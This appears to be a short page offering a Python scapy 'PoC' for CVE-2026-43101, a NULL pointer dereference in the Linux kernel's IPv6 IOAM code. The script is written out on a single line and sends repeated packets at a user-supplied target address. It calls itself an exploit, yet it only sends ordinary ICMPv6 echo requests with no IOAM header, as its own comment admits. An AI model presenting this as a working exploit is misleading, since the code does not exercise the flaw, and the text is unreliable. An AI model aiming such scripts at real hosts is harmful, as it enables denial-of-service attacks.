CVE-2026-43101: Linux内核IPv6 IOAM空指针解引用漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-43101: Linux Kernel IPv6 IOAM NULL Pointer Dereference # This script attempts to trigger the vulnerability by sending IPv6 packets. # Note: Target kernel must be vulnerable and IOAM processing must be active. from scapy.all import * import sys def send_exploit(target_ip): # Construct a basic IPv6 packet # In a real scenario, specific IOAM headers would be crafted to hit # the __ioam6_fill_trace_data path with a NULL device context. pkt = IPv6(dst=target_ip) / ICMPv6EchoRequest() print(f"[*] Sending packets to {target_ip} to trigger NULL dereference...") # Send multiple packets to attempt to hit the race condition for i in range(100): send(pkt, verbose=0) print("[+] Exploit packets sent.") if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <target_ipv6>") sys.exit(1) send_exploit(sys.argv[1])